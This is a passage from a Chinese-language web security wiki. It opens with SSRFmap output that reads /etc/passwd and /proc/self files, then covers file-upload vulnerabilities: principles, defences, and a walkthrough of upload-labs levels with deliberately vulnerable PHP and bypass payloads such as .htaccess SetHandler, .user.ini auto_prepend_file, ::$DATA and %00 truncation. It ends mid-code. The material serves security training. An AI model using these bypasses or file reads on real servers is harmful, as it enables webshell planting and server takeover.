┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py -r 1.txt -p url -m readfiles > file.txt[INFO]:Module 'readfiles' launched ![INFO]:Reading file : /etc/passwd[INFO]:Writing file : /etc/passwd to 192.168.64.138/_etc_passwd[INFO]:Reading file : /etc/hosts[INFO]:Writing file : /etc/hosts to 192.168.64.138/_etc_hosts[INFO]:Reading file : /proc/self/cmdline[INFO]:Writing file : /proc/self/cmdline to 192.168.64.138/_proc_self_cmdline[INFO]:Reading file : /proc/self/exe[INFO]:Writing file : /proc/self/exe to 192.168.64.138/_proc_self_exe"},{"title":"六. 文件上传","path":"/wiki/VulnerabilityInsightDocs/六. 文件上传.html","content":"总字符数: 46.48K 代码: 30.81K, 文本: 5.64K 预计阅读时间: 2.64 小时 环境下载地址: https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/upload-labs-env.ziphttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/upload-labs-env.zip 文件上传漏洞介绍 ​\t文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web访问的目录上传任意文件,包括网站后门文件(WebShell),进而远程控制网站服务器. 文件上传1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798<?php// 获取当前 PHP 文件名$SELF_PAGE = substr($_SERVER['PHP_SELF'], strrpos($_SERVER['PHP_SELF'], '/') + 1);// 相对根目录路径$PIKA_ROOT_DIR = "../../";$html = '';// 文件上传处理函数function upload_client($key, $save_path) { // 文件上传错误码与对应错误消息的映射 $arr_errors = array( 1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值', 2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', 3 => '文件只有部分被上传', 4 => '没有文件被上传', 6 => '找不到临时文件夹', 7 => '文件写入失败' ); // 判断是否存在文件上传错误 if (!isset($_FILES[$key]['error'])) { $return_data['error'] = '请选择上传文件!'; $return_data['return'] = false; return $return_data; } // 判断文件上传过程中是否发生错误 if ($_FILES[$key]['error'] != 0) { $return_data['error'] = $arr_errors[$_FILES[$key]['error']]; $return_data['return'] = false; return $return_data; } // 新建保存文件的目录 if (!file_exists($save_path)) { if (!mkdir($save_path, 0777, true)) { $return_data['error'] = '上传文件保存目录创建失败,请检查权限!'; $return_data['return'] = false; return $return_data; } } // 给路径加个斜杠 $save_path = rtrim($save_path, '/') . '/'; // 移动上传的临时文件到指定目录 if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) { $return_data['error'] = '临时文件移动失败,请检查权限!'; $return_data['return'] = false; return $return_data; } // 上传成功,返回存储的路径和新的文件名(不暴露) $return_data['new_path'] = $save_path . $_FILES[$key]['name']; $return_data['return'] = true; return $return_data;}// 处理文件上传表单提交if (isset($_POST['submit'])) { // 指定在当前目录建立一个目录 $save_path = 'uploads'; // 调用文件上传处理函数 $upload = upload_client('uploadfile', $save_path); // 根据上传结果生成 HTML 内容 $html .= $upload['return'] ? "<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>" : "<p class='notice'>{$upload['error']}</p>";}?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传</title></head><body> <h1>文件上传</h1> <div> <!-- 文件上传表单 --> <form method="post" enctype="multipart/form-data" action=""> <input type="file" name="uploadfile" onchange="checkFileExt(this.value)" /><br /> <input type="submit" name="submit" value="开始上传" /> </form> <!-- 显示上传结果 --> <?php echo $html; ?> </div></body></html> 文件上传漏洞原理​ 这种漏洞的本质是违反了数据与代码分离原则,攻击者上传可执行文件(如木马、病毒、恶意脚本或WebShell等),并使其在服务器上执行,最终获取对网站的控制权限. ​\t许多网站和应用系统都提供文件上传功能,但在实现时,开发者未对文件格式进行有效验证,或者仅在前端通过JavaScript进行了后缀检验. ​ 攻击者可以通过上传与网站脚本语言相对应的恶意代码文件(例如jsp、asp、php、aspx等文件)到服务器上,从而访问其中包含的恶意代码,动态解析并执行,对服务器安全造成影响. ​ 相比于其他安全漏洞如SQL注入或XSS,文件上传漏洞的风险更大.如果Web应用程序存在这种漏洞,攻击者上传的文件会被服务器的Web容器解释执行,导致恶意代码执行. ​ 这可能包括上传病毒、木马文件,诱骗用户或管理员下载执行.攻击者还可以上传钓鱼图片或包含脚本的图片,在某些浏览器中被视为脚本执行,用于进行钓鱼和欺诈.甚至,攻击者可以直接上传一个WebShell,完全控制系统或导致系统瘫痪. 文件上传漏洞成因 服务器的错误配置: 不正确的服务器配置可能导致对上传文件的处理存在漏洞,攻击者通过利用配置错误可以绕过安全措施. 开源编码器漏洞: 使用的开源编码器存在漏洞时,攻击者可以利用这些漏洞来上传恶意文件. 本地上传上限制不严格被绕过: 如果服务器对上传文件的大小限制不严格,攻击者可以通过上传大型文件来滥用服务器资源. 服务器端过滤不严格被绕过: 如果服务器对上传文件的类型或内容进行过滤时存在漏洞,攻击者可能通过构造特定的文件绕过过滤机制. 文件上传漏洞危害 上传恶意文件: 攻击者上传包含恶意代码的文件,例如木马、病毒、WebShell等,以执行后续攻击. getshell: 攻击者通过上传包含可执行代码的文件获取对服务器的控制权,进而实现getshell攻击. 控制服务器: 通过上传恶意文件,攻击者可以控制服务器,执行任意代码,修改或删除文件,甚至获取更高的系统权限. 执行任意代码: 成功上传可执行代码的攻击者可能利用这些代码执行各种恶意操作. 横向移动: 攻击者成功获取服务器权限后,可能通过横向移动在网络中进一步扩散,攻击其他系统,形成更大的威胁. 文件上传绕过方式 改变文件扩展名: 攻击者可以将恶意文件改变为一个合法的文件扩展名,比如将 .php 文件改为 .jpg 文件,然后上传到服务器.服务器通常只会根据文件扩展名来判断文件类型,因此攻击者可以绕过文件类型的检查. 使用 WebShell: WebShell 是一种常见的工具,攻击者可以使用它来上传恶意文件,因为 WebShell 通常会绕过服务器的文件类型检查.攻击者可以上传恶意代码,然后利用 WebShell 来执行恶意代码,从而获取系统权限. 绕过文件大小限制: 有时服务器会限制上传文件的大小,攻击者可以绕过这个限制,比如将大文件分割成多个小文件上传,或者使用一些工具来压缩文件大小,例如使用 GZIP. 绕过文件内容检查: 服务器通常会对上传的文件进行内容检查,以防止上传恶意代码,攻击者可以尝试绕过这个检查.例如,在文件中插入一些无害的代码或注释,以使文件看起来更合法. 利用漏洞: 某些服务器可能存在漏洞,攻击者可以利用这些漏洞来绕过文件上传检查.例如,一些服务器可能会允许上传文件,然后使用反向代理将文件转发到其他服务器,攻击者可以利用这个漏洞上传恶意文件. 文件上传漏洞防御系统运行时的防御 设置文件上传目录为不可执行: 将文件上传目录配置为不可执行,即使攻击者上传了脚本文件,服务器也不会执行它们,从而确保服务器安全. 判断文件类型: 在判断文件类型时,结合使用 MIME Type、后缀检查等方式.推荐使用白名单方式进行文件类型检查,避免使用黑名单方式.对于图片,可以使用压缩或者调整大小的函数,在处理图片的同时破坏可能包含的 HTML 代码. 使用随机数改写文件名和路径: 在文件上传时使用随机数改写文件名和路径,增加攻击的成本.攻击者上传的文件将变得无法直接访问,提高系统安全性. 单独设置文件服务器的域名: 将文件服务器的域名设置为独立的域名,通过同源策略防止一些客户端攻击,如上传包含 JavaScript 的 XSS 利用或上传 crossdomain.xml 文件等问题. 使用安全设备防御: 部署专业的安全设备,通过检测上传利用行为和恶意文件的上传过程来防御文件上传漏洞.安全设备可以对恶意文件进行检测和拦截,帮助提高系统的安全性. 系统开发阶段的防御 强化开发人员的安全意识: 开发人员在系统开发阶段应具备较强的安全意识,特别是使用 PHP 语言进行开发.对文件上传漏洞,应在客户端和服务器端对用户上传的文件名和文件路径等进行严格检查. 客户端检查和服务器端检查: 在客户端进行检查可以阻挡一些基本的试探,服务器端检查最好采用白名单过滤的方式,防止绕过大小写等方式进行攻击.同时对 %00 截断符和 HTTP 包头的 content-type 进行检查. 系统维护阶段的防御 强化运维人员的安全意识: 运维人员上线后应保持较强的安全意识,使用多个安全检测工具对系统进行定期扫描,及时发现并修复潜在漏洞. 定期查看系统日志: 定期查看系统日志,尤其是 web 服务器日志,以发现潜在的入侵痕迹.关注第三方插件的更新情况,及时更新版本或修补可能存在的安全漏洞. 系统自查和软件更新: 对于使用开源代码或框架搭建的网站,定期进行漏洞自查和软件版本更新.上传功能非必选的情况下可以考虑删除,配置服务器目录的执行权限,并合理配置服务器以提高整体安全性. 靶场复现第一关客户端检测绕过禁用JS上传成功 第二关MIME检测绕过代码分析123456789101112131415161718192021# 代码分析$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { // 检查数据包的MIME 如果不是MIME则会返回上传失败 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; }} 解决方法 1# 将Content-Type: application/octet-stream改为Content-Type: image/png 第三关黑名单绕过代码分析12345678910111213141516171819202122232425262728293031$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); // Start // 此区块的作用是获取后缀 $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); //strrchr - 查找指定字符在字符串中的最后一次出现 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 // END // in_array - 检查数组中是否存在某个值 // 判断文件后缀是否在黑名单内 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法 第四关.htaccess绕过 .htaccess 是一种配置文件,用于在 Apache 服务器上配置网站的行为.它允许在特定目录中放置一个包含一系列指令的文件,以改变服务器的配置,实现诸如重定向、认证、缓存控制等功能. 代码分析12345678910111213141516171819202122232425262728// 黑名单$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件: 12# SetHandler application/x-httpd-php 是一个用于 Apache 服务器的指令,它告诉服务器如何处理指定文件的内容.具体而言,这个指令将文件的处理程序设置为 PHP 解释器,使得 Apache 将文件中的 PHP 代码解释为动态内容.SetHandler application/x-httpd-php 这样所有文件都会解析为PHP,然后再上传图片马,就可以解析. 第五关.user.ini绕过代码分析通过查看提示和文件源码发现,本pass将.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf以及.htaccess都过滤了,此处不能和pass04一样的技巧进行上传.htaccess文件进行绕过. 解决方法 补充知识: 配置文件 :php.ini 配置文件(php.ini)在 PHP 启动时被读取.对于服务器模块版本的 PHP,仅在 Web服务器启动时读取一次.对于 CGI 和 CLI 版本,每次调用都会读取. https://www.php.net/manual/zh/configuration.file.phphttps://www.php.net/manual/zh/configuration.file.php ​ PHP 在每个目录下扫描INI文件的机制是从被执行的 PHP 文件所在目录开始一直上升到Web根目录,除了主 php.ini 外.如果 PHP 文件在 web 根目录之外,则只扫描该目录.自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件,但只有CGI/Fastcgi sapi处理这类文件. ​ 两个关键的 INI 指令,user_ini.filename 和user_ini.cache_ttl,用于控制用户 INI 文件的使用.user_ini.filename 设定了 PHP 在每个目录下搜寻的文件名,设置为空字符串则停止搜寻,默认值是 .user.ini.user_ini.cache_ttl 控制重新读取用户 INI 文件的时间间隔,默认为 300 秒(5 分钟). ​ 在 .user.ini 风格的 INI 文件中,只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别.实际上,除了 PHP_INI_SYSTEM 以外的模式都可以通过 .user.ini 进行设置,而且 .user.ini 是一个能够动态加载的 INI 文件.因此,修改 .user.ini 后无需重启服务器中间件,只需等待 user_ini.cache_ttl 所设置的时间(默认为 300 秒),设置即可被重新加载. ​ 总的来说,.user.ini 实际上是用户可以自定义的 php.ini 文件,可用于自定义 PHP_INI_PERDIR 和 PHP_INI_USER 模式的设置.其中有两个配置可用于制造后门. 12auto_append_file ; # 指定一个文件,自动包含在要执行的文件前auto_prepend_file ; # 指定一个文件,自动包含在要执行的文件后 使用方法很简单,直接写在.user.ini中: 1auto_prepend_file=jiangjiyue.txt 或者 1auto_append_file=jiangjiyue.txt 新建一个文件名为.user.ini的文件,并将内容写为: auto_prepend_file=jiangjiyue.txt 将.user.ini上传至服务器 新建一个文件名为jiangjiyue.txt的文件,并将内容写为phpinfo或者webshell 1<?php phpinfo();?> 将jiangjiyue.txt上传至服务器 再访问上传目录下的readme.php,即可将jiangjiyue.txt内的内容脚本正常执行. 第六关大小写绕过代码分析123456789101112131415161718192021222324252627# 以下代码中没有用到strtolower()函数全部转换为小写,所以可以采用大小写绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).strtolower($file_ext); if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法大小写绕过jiangjiyue.PhP 第七关空格绕过代码分析12345678910111213141516171819202122232425262728# 没有过滤空格$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA // $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = 'jiangjiyue.php .';$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAecho $file_ext;if (in_array($file_ext, $deny_ext)) { echo '此文件不允许上传';} 解決方法代码中并没有对空格过滤,所以我们可以加空格点来绕过比如jiangjiyue.php .实际中加不加.要看具体环境,因为代码也会过滤掉. 第八关点号绕过代码分析12345678910111213141516171819202122232425262728# 代码没有对.过滤,而且移动上传后的文件时,文件名还是用的处理前的文件名$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); // $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526272829303132# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");$file_name = trim('jiangjiyue.php. .');echo '处理前'.$file_name;echo " ";$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) { $temp_file = 'jiangjiyue.php. .'; $img_path = './' . $file_name; echo '处理后'.$img_path;} else { $msg = '此文件类型不允许上传!';} 解决方法用上方代码分析出来的结果进行绕过,也可以只加一个. 第九关::$DATA绕过代码分析123456789101112131415161718192021222324252627# 没有过滤::$DATA,利用windows特性,可在后缀名中加"::$DATA"绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 // $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法文件名为:jiangjiyue.php::$DATA绕过 第十关点空格点绕过代码分析12345678910111213141516171819202122232425262728# deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526272829# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");$file_name = trim('file.php. .');$file_name = deldot($file_name); //删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空echo $file_name;echo " ";if (!in_array($file_ext, $deny_ext)) { echo '成功';} else { echo '此文件类型不允许上传!';} 解决方法文件名为:jiangjiyue.php. .绕过 第十一关双写绕过代码分析1234567891011121314151617181920$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { // 黑名单 $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); // 将后缀名替换为空 $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}// 黑名单$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");// $file_name = 'jiangjiyue.php';$file_name = 'jiangjiyue.pphphp';// 将后缀名替换为空$file_name = str_ireplace($deny_ext,"", $file_name);echo '后缀名:'.$file_name; 解决方法根据代码分析的结果构造Payload:jiangjiyue.pphphp 第十二关%00截断代码分析1234567891011121314151617181920212223242526# 白名单$is_upload = false;$msg = null;if(isset($_POST['submit'])){ // 白名单 $ext_arr = array('jpg','png','gif'); // substr ( string $string , int $start [, int $length ] ) : string // 返回字符串 string 由 start 和 length 参数指定的子字符串. // strrpos - 计算指定字符串在目标字符串中最后一次出现的位置 // 返回 10 // substr(jiangjiyue.php,10+1) // file_ext = php $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; }} 解决方法上传的路径可控,这里可以使用%00截断,成功上传后,%00后的不会被识别 第十三关00截断数据包分析和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码. 解决方法二进制00截断 第十四关文件头伪造代码分析1234567891011121314151617181920212223242526# 通过读文件的前2个字节判断文件类型,因此可以修改包类型function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); // unpack - 从字符串中解包二进制数据 $strInfo = @unpack("C2chars", $bin); // intval - 获取变量的整数值 // 返回值: 返回一个关联数组,其中包含二进制字符串的未打包元素. $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;} 解决方法12# 将Content-Type和文件后缀名修改为image/gif以及.jpg# 在文件头中加入:GIF89a 第十五关文件头伪造代码分析123456789101112131415161718192021# 根据图像类型判断是否允许上传function isImage($filename){ $types = '.jpeg|.png|.gif'; // file_exists - 检查文件或目录是否存在 